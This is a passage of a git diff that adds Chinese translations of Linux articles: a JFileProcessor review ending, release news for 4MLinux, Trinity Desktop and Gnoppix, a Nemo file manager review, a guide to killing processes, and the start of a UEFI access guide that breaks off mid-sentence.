称之为 “Blueprint” 的主题。这是 Java 的怀旧外观,我喜欢以其原生 GUI 外观运行它,作为对我的 OpenSolaris(现为 OpenIndiana)笔记本电脑的回忆。 + +### 用户体验 + +除了设计,真正重要的是用户体验。JFileProcessor 只有三个你日常使用的按钮:向上、后退和前进。它们未绑定到键盘快捷键,因此你必须单击按钮才能导航(或使用 `Tab` 键选择按钮)。在使用图形应用时,我经常使用键盘快捷键,所以当我尝试浏览我的系统时,这大大减慢了我的速度。但是,有时我实际上只是懒洋洋地浏览文件,因此 JFileProcessor 完全按照我的需要工作。 + +JFileProcessor 也有一个搜索组件。只要你设置合理的起始文件夹,搜索就会快速而智能,同时允许使用通配符和正则模式搜索。例如,当我搜索特定的电子书或漫画档案或游戏规则手册时,或者当我粗略地知道该目录包含一个项目但懒得一直点击到目的地址。在子目录中快速搜索,必然会得到明显的结果,然后双击打开文件,不管我设置了什么 XDG 偏好(Evince 用于 PDF,Foliate 用于电子书,等等)。 + +右键单击任何文件或目录会弹出上下文菜单。它具有你期望的大部分常见任务:复制、剪切、粘贴、删除、重命名、新建。它也有一些不错的额外功能。 + +![Right-click context menu in JFileProcessor][4] + +例如,你可以只将文件名复制到剪贴板或保存文件路径。你还可以运行一些脚本,包括用于批量重命名文件的脚本、用于对选定文件运行命令的脚本、用于创建 ZIP 或 TAR 存档的脚本等等。当然,编码器有多种选择,包括在当前位置打开终端和打开新的编码窗口。 + +### 安装 + +我是 Java 的忠实粉丝。它是一种清晰的语言,具有合理的分隔符和对跨平台兼容性的坚定立场。我喜欢它作为一种语言,我喜欢看到程序员用它创造的东西。 + +JFileProcessor 的名字很贴切。这是一种处理文件的有效方法,从某种意义上说,JFileProcessor 为你提供了一个简单的窗口来查看系统上的文件数据,并允许你以图形方式与它们进行交互,就像你可能在终端中与它们交互一样。它不是我用过的最高效的文件管理器,也不是功能最多的一个。然而,这是一个令人愉快的应用,为你提供了文件管理所需的基本工具,其相对较小的代码库使你可以在下午阅读一些精彩的内容。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-jfileprocessor + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/12/groovy +[2]: https://opensource.com/sites/default/files/2022-09/jfileprocessor.webp +[3]: https://opensource.com/article/22/3/beautify-java-applications +[4]: https://opensource.com/sites/default/files/2022-09/jfileprocessor-menu.webp +[0]: https://img.linux.net.cn/data/attachment/album/202212/17/121727uuepuz1q3qhgippd.jpg \ No newline at end of file diff --git a/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md b/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md new file mode 100644 index 0000000000..b241461da1 --- /dev/null +++ b/published/202212/20221204.1 ⭐️ 4MLinux 41.0 stable is now available with SDL games + More.md @@ -0,0 +1,90 @@ +[#]: subject: "4MLinux 41.0 stable is now available with SDL games + More" +[#]: via: "https://debugpointnews.com/4mlinux-41-0-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15318-1.html" + +4MLinux 41.0 稳定版发布 +====== + +![][1] + +> 新的 4MLinux 41.0 稳定版现已可供公众下载和安装。 + +4MLinux 是一个有十年历史的小型 Linux 发行版,主要有四个功能:维护Maintenance(如作为系统救援的现场 CD)、多媒体Multimedia(如播放视频 DVD)、微服务器 Miniserver(使用 inetd 守护程序),以及 神秘Mystery(小型 Linux 游戏)。它是独立开发的,也同时提供了 32 位镜像。是一个适合于老旧硬件的完美的 [轻量级 Linux 发行版][2]。 + +4MLinux 41.0 系列已经更新到其稳定版本。这个版本包括编辑文档的工具,如 LibreOffice 和 GNOME Office,可以用 DropBox 共享文件,用 Firefox 和 Chromium 浏览网页,用 Thunderbird 发送电子邮件,等等。它还包括 LAMP 服务器环境和 Perl、Python 和 Ruby 等编程语言。 + +以下是对这些变化的总结: + +![4MLinux 41.0 桌面][3] + +### 4MLinux 41.0:新增内容 + +首先,4MLinux 41.0 提供了 LibreOffice 7.4.3 和 GNOME Office(包括 AbiWord 3.0.5、GIMP 2.10.32 和 Gnumeric 1.12.52),用于编辑你的文档。此外,DropBox 151.4.4304 可用于分享你的文件,你可以使用 Firefox 107.0 和 Chromium 106.0.5249 来上网。 + +它包括了 Thunderbird 102.5.0,用于发送和接收电子邮件,Audacious 4.2 允许你享受你的音乐收藏。你还可以用 VLC 3.0.17.3 和 SMPlayer 22.2.0 观看视频,并在 Mesa 22.1.4 和 Wine 7.18 的帮助下进行游戏。 + +此外,4MLinux LAMP 服务器(Linux 6.0.9、Apache 2.4.54、MariaDB 10.6.11、PHP 5.6.40 和 PHP 7.4.33)也包括在内,可以用于设置你自己的 Web 服务器。4MLinux 41.0 稳定版还包括编程语言 Perl 5.36.0、Python 2.7.18、 Python 3.10.6 和 Ruby 3.1.2。 + +此外,这个版本还包括一些新的功能和应用程序。 + +开箱即用,它包括 FileZilla(FTP 客户端)、XPaint 和 GNU Paint(简单的图像编辑工具)和 nvme(管理 NVM-Express 分区的命令行工具),以及一系列小型 SDL 游戏。此外,还有几个可下载的扩展程序,包括 BlueGriffon(HTML 编辑器)、The Legend of Edgar(跳台游戏platform game)、ioquake3(Quake III 移植版)和 BZFlag(坦克大战游戏)。 + +SMPlayer 现在是 4MLinux 的默认视频播放器,Audacious 是默认音频播放器。在启动管理器 Syslinux 的帮助下,现在也可以将4MLinux 安装在 BTRFS 分区上。 + +### 更新摘要 + +- 主线 Linux 内核 6.0.9 +- jwm(乔氏窗口管理器)2.4.0 +- LibreOffice 7.4.3 +- GNOME Office (包括 AbiWord 3.0.5、GIMP 2.10.32 和 Gnumeric 1.12.52) +- DropBox 151.4.4304 +- Firefox 107.0 +- Chromium 106.0.5249 +- Thunderbird 102.5.0 +- Audacious 4.2 +- VLC 3.0.17.3 +- SMPlayer 22.2.0 +- Mesa 22.1.4 +- Wine 7.18 +- 4MLinux LAMP 服务器(包括:Linux 6.0.9、Apache 2.4.54、MariaDB 10.6.11、PHP 5.6.40 和 PHP 7.4.33) +- Perl 5.36.0 +- Python 2.7.18 +- Python 3.10.6 +- Ruby 3.1.2 + +### 下载 + +最新的版本 4MLinux 41.0,现在可以通过以下链接下载。 + +> **[下载 4MLinux 41.0][4]** + +这个版本包括了新的应用程序和功能,例如将 SMPlayer 作为默认的视频播放器,以及将 4MLinux 安装在带有 Syslinux 的 BTRFS 分区上的能力。我们鼓励你在 [虚拟机][5] 中试用 4MLinux,看看它提供的一切。 + +- [更新日志][6] +- [发布公告][7] + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/4mlinux-41-0-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/4mlinux-head.jpg +[2]: https://www.debugpoint.com/lightweight-linux-distributions-2022/ +[3]: https://debugpointnews.com/wp-content/uploads/2022/12/4MLinux-41.0-desktop.jpg +[4]: https://sourceforge.net/projects/linux4m/ +[5]: https://www.debugpoint.com/install-ubuntu-virtualbox/ +[6]: http://4mlinux.com/addons-41.0.txt +[7]: https://4mlinux-releases.blogspot.com/2022/12/4mlinux-410-stable-released.html diff --git a/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md b/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md new file mode 100644 index 0000000000..c625b97865 --- /dev/null +++ b/published/202212/20221204.2 ⭐️⭐️ Trinity Desktop Environment R14.0.13 is now out with updates!.md @@ -0,0 +1,117 @@ +[#]: subject: "Trinity Desktop Environment R14.0.13 is now out with updates!" +[#]: via: "https://debugpointnews.com/trinity-desktop-environment-r14-0-13/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15322-1.html" + +Trinity 桌面环境 R14.0.13 版发布更新 +====== + +![][1] + +> 怀念美好的旧式 KDE?Trinity 桌面环境新发布的小版本(TDE R14.0.13)带来了一些新功能和错误修复。以下是发布摘要。 + +![Trinity 桌面环境 R14.0.13][2] + +如果你是那些怀念美好的旧式 KDE(3.5)外观的人,那么你可以通过 Trinity 桌面环境(TDE)获得它。TDE 是一个由志愿者组成的小团队开发的一个复刻版的 KDE 3.5 桌面环境。它是 KDE 3 桌面理念的延续,为那些欣赏其功能和设计的人提供了更新和错误修复。 + +尽管是一个小而独立的项目,TDE 仍然在积极地开发和维护,为用户提供了一个主流桌面环境的替代品。而继 [之前的 R14.0.12 版本][3] 之后,第 13 个小版本带来了一些好东西。 + +### Trinity 桌面环境 R14.0.13 的新内容 + +#### 桌面易用性得到了更新 + +这个版本引入了使用 `Ctrl + 鼠标滚轮` 来增加或减少字体大小的功能,这可以用在 Konsole、Kate、KWrite、TDevelop 和其他使用 Kate 嵌入编辑器的应用程序中。此外,Kate 文本编辑器现在包括 Markdown 文件的语法高亮,使其更容易阅读和编辑这些类型的文档。 + +这些增强功能使用户对文本编辑器的外观有更多的控制,并改善了整体的用户体验。 + +此外,Trinity 桌面环境 R14.0.13 还改进了用户设置墙纸的方式,使其更容易设置,也更直观。Konqueror 的动作菜单现在提供了设置图像作为背景的各种选项,为用户提供了更多的灵活性和控制力。这些改进提高了设置墙纸时的整体用户体验,使用户更加方便。 + +除此之外,这个版本还改进了 khotkeys 输入动作,为用户提供了更多的控制和灵活性。它的用于创建和编辑动作的图形用户界面现在包括新的上移/下移按钮,使其更容易重新排列动作。此外,该版本还包括对图形用户界面的修复,以提高其整体可用性和性能。这些改进提高了用户在使用 khotkeys 输入动作时的体验,使用户更方便地定制他们的键盘快捷键。这个版本还包括一个新的等待动作组件,允许用户在步骤之间引入一个延迟。 + +![twin-style-machbunt - 来自 SuSE 的 KDE 窗口装饰主题][4] + +#### 核心和支持 + +SFTP tdeioslave 已经更新,现在使用 libssh,它提供了更安全和稳定的连接。任务栏现在包括移动任务和拖放分组任务按钮,增强了用户体验。 + +这个版本包括了改进的 API 可视化和增强的 Python3 支持。整个版本使用的语言已经更新为性别中立。这些改进提高了整体的用户体验,使 TDE 更具包容性和可及性。 + +除此之外,在核心应用程序方面,TDE R14.0.13 版本包括了几个更新,以提高与流行的多媒体和文件处理库的兼容性。这包括对 ffmpeg 5.0、Jasper 3.x 和 Poppler >= 22.04 的支持。这些更新使 TDE 能够利用这些库的最新功能和性能改进。此外,这个版本包括了几个 TDE 应用程序的手册页,为用户提供了关于如何使用这些程序的更详细的文档和信息。这些改进提高了 TDE 的整体功能和性能。 + +### 下载并安装 Trinity 桌面环境 R14.0.13 + +如果你使用的是 Ubuntu 22.04 LTS Jammy Jellyfish,你可以运行下面的命令将其安装在你现有的 Ubuntu 上: + +``` +sudo gedit /etc/apt/sources.list +``` + +添加以下行并保存文件: + +``` +deb http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-sb jammy deps-r14 main-r14 +deb-src http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-sb jammy deps-r14 main-r14 +``` + +``` +wget http://mirror.ppa.trinitydesktop.org/trinity/deb/trinity-keyring.deb +sudo dpkg -i trinity-keyring.deb +sudo apt update +sudo apt install kubuntu-default-settings-trinity kubuntu-desktop-trinity +``` + +安装完成后,重新启动你的系统,在登录界面选择 Trinity。注意:截至发稿时,针对 Ubuntu 22.10 Kinetic Kudu 的仓库还不可用。 + +对于 Arch Linux 用户,你可以通过以下命令安装它。 + +使用管理员权限打开 `/etc/pacman.conf`,在最后添加以下几行并保存好: + +``` +[trinity] +Server = https://mirror.ppa.trinitydesktop.org/trinity/archlinux/$arch +``` + +然后打开一个终端,运行以下内容: + +``` +pacman-key --recv-key D6D6FAA25E9A3E4ECD9FBDBEC93AF1698685AD8B +pacman-key --lsign-key D6D6FAA25E9A3E4ECD9FBDBEC93AF1698685AD8B +``` + +最后,用下面的方法来安装: + +``` +pacman -Sy +``` + +``` +pacman -S td-meta +``` + +对于其他发行版,你可以在 [本页][5] 找到 TDE 的详细下载和安装指南。 + +来自 [发布公告][6]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/trinity-desktop-environment-r14-0-13/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/tde-head.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2022/12/Trinity-Desktop-Environment-R14.0.13.jpg +[3]: https://www.debugpoint.com/tde-release-r14-0-12/ +[4]: https://debugpointnews.com/wp-content/uploads/2022/12/twin-style-machbunt-a-KDE-window-decoration-theme-from-SuSE.jpg +[5]: https://wiki.trinitydesktop.org/Category:Documentation#Installing_from_a_Package_Manager +[6]: https://www.trinitydesktop.org/newsentry.php?entry=2022.10.30 diff --git a/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md b/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md new file mode 100644 index 0000000000..9dfda0adff --- /dev/null +++ b/published/202212/20221205.3 ⭐️⭐️ Why you should try the Nemo file manager on Linux.md @@ -0,0 +1,87 @@ +[#]: subject: "Why you should try the Nemo file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-nemo" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15340-1.html" + +为什么你要在 Linux 上尝试 Nemo 文件管理器? +====== + +![][0] + +> Nemo 感觉像是更新版的 GNOME 2 文件管理器。我喜欢它,我觉得你也会喜欢它。 + +计算机是一个奇特的文件柜,里面装满了虚拟文件夹和文件,等待着被引用、交叉引用、编辑、更新、保存、复制、移动、重命名和归类。在本文中,我将介绍一下 Linux 系统的文件管理器。 + +[Cinnamon][1] 项目是使用 GNOME 3 的组件重新实现的 GNOME 2。最终,它的差异足以成为一个真正的分叉,如今,Cinnamon 桌面使用 GTK3 库和 GNOME 3 关键应用的分叉版本来创建一个“经典”的 GNOME 体验。对传统的 GNOME 体验做出贡献的组件之一是 Nemo,它是一个基于 GNOME 2 版本的 Nautilus 的文件管理器。 + +### 在 Linux 上安装 Nemo + +Nemo 的源代码 [在线提供][2],但它需要 `cinnamon-desktop` 来构建,所以安装 Nemo 最简单的方法是直接安装 Cinnamon。 + +在 Fedora、Mageia 和类似的系统上: + +``` +$ sudo dnf install cinnamon-desktop +``` + +在 Linux Mint、Debian 和类似系统上: + +``` +$ sudo apt install cinnamon-desktop-environment +``` + +当然,作为该桌面的发源地,Linux Mint 也预装了 Cinnamon。 + +### 一个熟悉的界面 + +如果你已经习惯了 GNOME,无论是过去的还是现在的,那么 Nemo 从一开始就让你有一种回家的感觉。它有一个熟悉的外观和感觉,在类似的地方有按钮和选项,你很可能会认出它们。 + +![Image of Nemo's file manager.][3] + +将视图控制按钮放在右上方的 GNOME 式惯例被保留了下来,你可以使用这些按钮快速地将你的文件视图从大图标切换到详细列表或紧凑视图。那里还有一个搜索功能,以及在可编辑文本和按钮之间切换位置栏的选项。 + +可编辑的 URI 栏有时被低估了。这是一个简单的设计决定,但它可以是一个有助于提高效率的巨大功能。这就像在每个窗口的顶部有一个单行终端,你可以在那里输入你的系统的任何目标位置,并立即被带到那里。而且你甚至不需要输入 `cd`。 + +在左上角,有导航按钮:向上、向前和向后。与许多 Linux 文件管理器一样,你可以用 `Alt` 键加上适当的 `箭头` 键,而放弃使用这些按钮。 + +侧面窗格显示了重要文件夹的列表(主目录、文档、下载等),可以通过点击窗口底部的一个按钮来隐藏或显示。 + +### 熟悉但不一样 + +Nemo 的舒适性和熟悉性并不意味着它只是无意识地模仿 Nautilus。Nemo 有一系列不错的功能,感觉很独特。其中大部分都在 偏好设置Preferences 中,以下是我最喜欢的几个: + +- 窗口标题中显示全路径Full path in window title:这是我最喜欢的功能。不要再怀疑你在文件系统中的位置了。让你的窗口标题告诉你。 +- 单击或双击Single or double click:如果你是一个长期的 [KDE][4] 用户,你可能会发现单次点击打开一个文件是很新鲜的。有了 Nemo,你可以这样选择。 +- 双击来重命名Double-click to rename:如果你使用单击来打开,为什么不重新利用双击来重命名呢? +- 在新窗口中打开每个文件夹Open each folder in a new window:操作系统为每一个打开的文件夹打开一个新的窗口。 +- 插件Plugins:Nemo 有能力调用动作、脚本和扩展。有些已经包括在内,有改变桌面背景、创建启动器和挂载归档的动作。其他的还没有被创建,但这种可扩展性对开源是至关重要的。 + +### 一切近在咫尺 + +在 Linux Mint 上使用 Nemo 几周后,一个有趣的特征让我眼前一亮。似乎 Nemo 可以,或者通过快速配置可以,让我最常使用的所有东西都近在咫尺。许多功能,我承认,我不知道我是否需要,直到 Nemo 让我轻松点击才知道。你可能会说,我是为了满足 Nemo 的设计而改变了我的使用方式,也许情况确实如此。但是,当这种体验是如此令人愉快和有效时,这有什么关系呢? + +Nemo 是一个很好的文件管理器。它让人想起了 GNOME 2 的时代,但其更新和设计选择让人有一种新鲜的感觉。如果你喜欢 [Thunar][5] 或 Nautilus,你会喜欢 Nemo。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-nemo + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/19/12/cinnamon-linux-desktop +[2]: https://github.com/linuxmint/nemo/releases +[3]: https://opensource.com/sites/default/files/2022-09/nemo.png +[4]: https://opensource.com/article/22/2/why-i-love-linux-kde +[5]: https://opensource.com/article/22/12/linux-file-manager-thunar +[0]: https://img.linux.net.cn/data/attachment/album/202212/12/080234oessb2lsx0s8esri.jpg \ No newline at end of file diff --git a/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md b/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md new file mode 100644 index 0000000000..b64c75b7c0 --- /dev/null +++ b/published/202212/20221206.1 ⭐️ Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More.md @@ -0,0 +1,81 @@ +[#]: subject: "Gnoppix Linux 22.12 is out with GNOME 43, Kernel 6.0, + More" +[#]: via: "https://debugpointnews.com/gnoppix-22-12-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15325-1.html" + +Gnoppix Linux 22.12 发布 +====== + +![][1] + +> 基于 Kali Linux 的 Linux 滚动发行版 Gnoppix 22.12 带来了 GNOME 43、Linux 内核 6.0 和新的升级。 + +![Gnoppix 22.12桌面][2] + +作为传统的现场 CD 发行版 Knoppix 项目的继承者,[Gnoppix Linux][3] 是专门为渗透测试和反向工程而设计的。它为网页应用安全和数字权利保护进行了优化。除了对安全的关注,Gnoppix 也可以作为一个普通的桌面操作系统使用。它是一个滚动的版本,经常收到更新和新功能。 + +在其核心部分,它基于 Kali Linux,并采用了 Debian-rolling 的某些部分。与 Kali Linux 的 Xfce 相比,它采用的是 GNOME 桌面。 + +### Gnoppix Linux 22.12 的最新变化 + +目前的主要版本是 Gnoppix 22,它是一个持续的小版本发布,最近其团队发布了 Gnoppix 22.12,有以下更新。 + +首先,内核版本被提升到了 Linux 内核 6.0 ,采用了最新的 [GNOME 43.2 桌面][4]。如果你想把这个发行版作为桌面使用,那么默认的应用程序列表会给你带来一些好消息。 + +Gnoppix 22.12 增加了 GIMP 图像编辑器、Deluge & Transmission、Clapper 音乐播放器和 GNOME 固件更新器。 + +此外,所有的 GNOME 原生软件包都被升级到了 43.2 版本,同时团队开始着手开发 44 版本,该版本将于 2023 年 2 月发布。 + +![GNOME 43.2 工作区视图][5] + +其他关键组件和应用程序包括以下内容: + +- LibreOffice 7.4.2.3 +- Linux 主线内核 6.0.7 +- OpenJDK 11 +- pipewire 0.3.60 +- Firefox ESR 102 +- Python 3.10 + +Gnoppix Linux 还默认增加了几个微软的应用程序。在这个版本中,你可以得到微软 Edge 浏览器 107 和用于会议和通信的微软 Teams 预览版。 + +在完整的变更日志中有一个巨大的软件包更新列表,你可以在 [这里][6] 中找到。 + +### 下载 + +如果你想尝试一下,你可以使用以下链接下载它。 + +> **[下载 Gnoppix 22.12][7]** + +请记住,它是在现场介质中使用的理想选择。然而,你可以很容易地在你的硬件上安装它,并作为 Debian-GNOME-rolling 版本运行。另外,请注意,它需要至少 50GB 的磁盘空间来安装!这是其 Calamares 安装程序的一个硬性要求。 + +此外,Kali Linux 的软件仓库已经被添加到 `/etc/apt/sources.list` 中,来自 Debian-rolling 的软件包基本稳定,所以,它应该是很稳定的。 + +干杯。 + +参考自 [发布公告][6]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/gnoppix-22-12-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2022/12/gnoppix-head1.jpg +[2]: https://debugpointnews.com/wp-content/uploads/2022/12/Gnoppix-22.12-desktop.jpg +[3]: https://www.gnoppix.com/ +[4]: https://debugpointnews.com/gnome-43-release/ +[5]: https://debugpointnews.com/wp-content/uploads/2022/12/GNOME-43.2-workspace-view.jpg +[6]: https://sourceforge.net/p/gnoppixng/releases/general/thread/bc187de53a/#f258 +[7]: https://sourceforge.net/projects/gnoppixng/files/releases/ diff --git a/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md b/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md new file mode 100644 index 0000000000..411007a152 --- /dev/null +++ b/published/202212/20221207.0 ⭐️ How to Find a Process ID and Kill it in Linux [CLI & GUI].md @@ -0,0 +1,148 @@ +[#]: subject: "How to Find a Process ID and Kill it in Linux [CLI & GUI]" +[#]: via: "https://www.debugpoint.com/find-process-id-kill-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15341-1.html" + +如何在 Linux 中找到一个进程 ID 并杀死它 +====== + +![][0] + +> 一个简单的教学展示,教你如何找到正在运行中的进程 ID 并杀死它,你可以使用终端或者 GUI,这个方法适用于各类 Linux 发行版。 + +你的 Linux 系统中运行的应用可能会让你的电脑变慢,特别是你的电脑配置较低的时候。在 Linux (以及所有其他 OS)中,程序或者应用都携带一个特别的 PID (进程 ID)可供你简单地分辨它们。 + +然而,大部分 Linux 初学者用户并不知道如何在 Linux 中寻找运行中的进程并杀死它。在这篇指南中,我们将会解释用不同的方法以杀死 Linux 中的运行进程。这包括了使用终端和 GUI 的方法。 + +记住,你只应该杀死未响应的进程,或者你发现应用无法被正常关闭 (针对基于 GUI 的应用)。 + +### 如何在 Linux 中找到 PID 并杀掉它们 + +在这一部分中,我们首先应该先学会如何找到运行进程的 PID,然后再学习用以杀掉它们的命令: + +#### 找到正在运行中的进程 + +你可以使用命令 `top` 来列出所有正在进行中的进程和它们的 PID,以及其他细节。程序 `top` 在所有 Linux 发行版和所有基于 Unix 的系统中都是默认安装了的。 + +``` +top +``` + +![Top program output][1] + +同样地,你可以执行命令 `ps` 附带额外选项来获取某个指定的进程的 PID。例如,你可以使用以下命令来获得 `firefox` 的 PID。 + +``` +ps -el | grep -i firefox +``` + +![Firefox process id using ps command - example][2] + +现在你已经找到 PID 了,让我们看看你该如何杀掉它。 + +#### 杀死运行中的进程 + +使用以下命令,你可以通过进程的名字或者 PID 来杀掉这个正在运行中的进程: + +- `killall`:通过运行进程的名字来杀死进程 +- [kill][3]:通过 PID 来杀死进程 + +现在,让我们首先使用进程 `killall` 通过 Firefox 这个名字来杀死它的,命令如下: + +``` +killall -9 firefox +``` + +- 参数 `-9` 发送了信号 `SIGKILL` 通知 OS 来终止这个进程。 +- 使用以下命令,你也可以列出一些别的信号。 + +``` +kill -l +``` + +同样地,如果你想要通过 PID 来杀死进程,你可以用以下命令: + +``` +kill -9 +``` + +在这个例子中,命令会长这样: + +``` +kill -9 33665 +``` + +让我们看看在不同发行版中,你该如何使用图形用户界面(GUI)来杀死任意进程或应用。 + +### 通过 GUI 寻找 PID 并杀掉 + +现在有很多图形界面程序可以枚列进程。大部分 Linux 发行版的桌面环境中已经携带了它们。我们在这里列举出了一些。 + +#### GNOME(在 Ubuntu、Fedora 工作站等) & 在 Linux Mint 中 + +在应用菜单中搜索 “system monitor” 并打开它(LCTT 译注:中文桌面环境也可以搜 “system monitor”,我在 Ubuntu 里试过了)。在 “进程Processes” 标签页下找到你的进程,右击进程名字打开快捷菜单,选择选项 “杀死Kill”。 + +![Kill a process in Linux using gnome system monitor][4] + +#### KDE Plasma(Kubuntu、Fedora-KDE 或任何基于 Plasma 的发行版) + +在应用菜单中搜索并启动 “system monitor”。这会打开以下程序。在左边菜单栏点击“进程Processes” ,你因该能看见一列正在运行的程序。你可以右击列表里的进程或应用并选择“杀死Kill”来终止进程。 + +![System monitor in KDE Plasma][5] + +#### Xfce 桌面 + +Xfce 桌面可以完成这项任务的原生应用是 任务管理器Task Manager,你可以通过 “应用Application > 系统System > 任务管理器Task manager” 来找到它。右击进程名字然后选择“杀死Kill”来终止应用或进程。 + +![Xfce task manager to kill a process][6] + +#### 如何在其他桌面或发行版上杀死一个进程或程序 + +如果你找不到任何相似的程序,你可以选择使用终端的方法。或者,你可以使用以下命令来安装 gnome-system-monitor。 + +Ubuntu 以及相关发行版: + +``` +sudo apt install gnome-system-monitor +``` + +Fedora 以及其相关的发行版: + +``` +sudo dnf install gnome-system-monitor +``` + +还有 Arch Linux: + +``` +sudo pacman -S gnome-system-monitor +``` + +### 总结一下 + +这就是你该如何在 Linux 中找到一个运行中的进程的 PID 并杀死它。我们已经解释了不同的方法:你可以通过名字或者 PID 来杀死进程。我希望这对你有所帮助。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/find-process-id-kill-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/12/Top-program-output.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/12/Firefox-process-id-using-ps-command-example.jpg +[3]: https://linux.die.net/man/1/kill +[4]: https://www.debugpoint.com/wp-content/uploads/2022/12/Kill-a-process-in-Linux-using-gnome-system-monitor.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/12/System-monitor-in-KDE-Plasma.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/12/Xfce-task-manager-to-kill-a-process.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/12/103939c8tv41t8391v6886.jpg \ No newline at end of file diff --git a/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md b/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md new file mode 100644 index 0000000000..e1dadbc783 --- /dev/null +++ b/published/202212/20221207.2 ⭐️ How to Access UEFI Settings in Linux Systems.md @@ -0,0 +1,125 @@ +[#]: subject: "How to Access UEFI Settings in Linux Systems" +[#]: via: "https://itsfoss.com/access-uefi-from-linux/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15361-1.html" + +如何在 Linux 系统中访问 UEFI 设置 +====== + +![][0] + +想要在固件级别检查启动顺序或电源设置? **你可以在系统启动时按 `F2`、`F10` 或 `Del` 按键访问 UEFI 设置**。 + +这种方法的问题是你可能不知道确切的键,并且必须警惕在正确的时间按下这些键。 + +![Mr. Bean][1a] + +如果你不想像上面 Gif 中的憨豆先生,你可以从 Linux 中的 [Grub 引导加载器][1] 页面访问 UEFI 设置。 + +![uefi firmware settings grub linux][2] + +当你打开 Linux 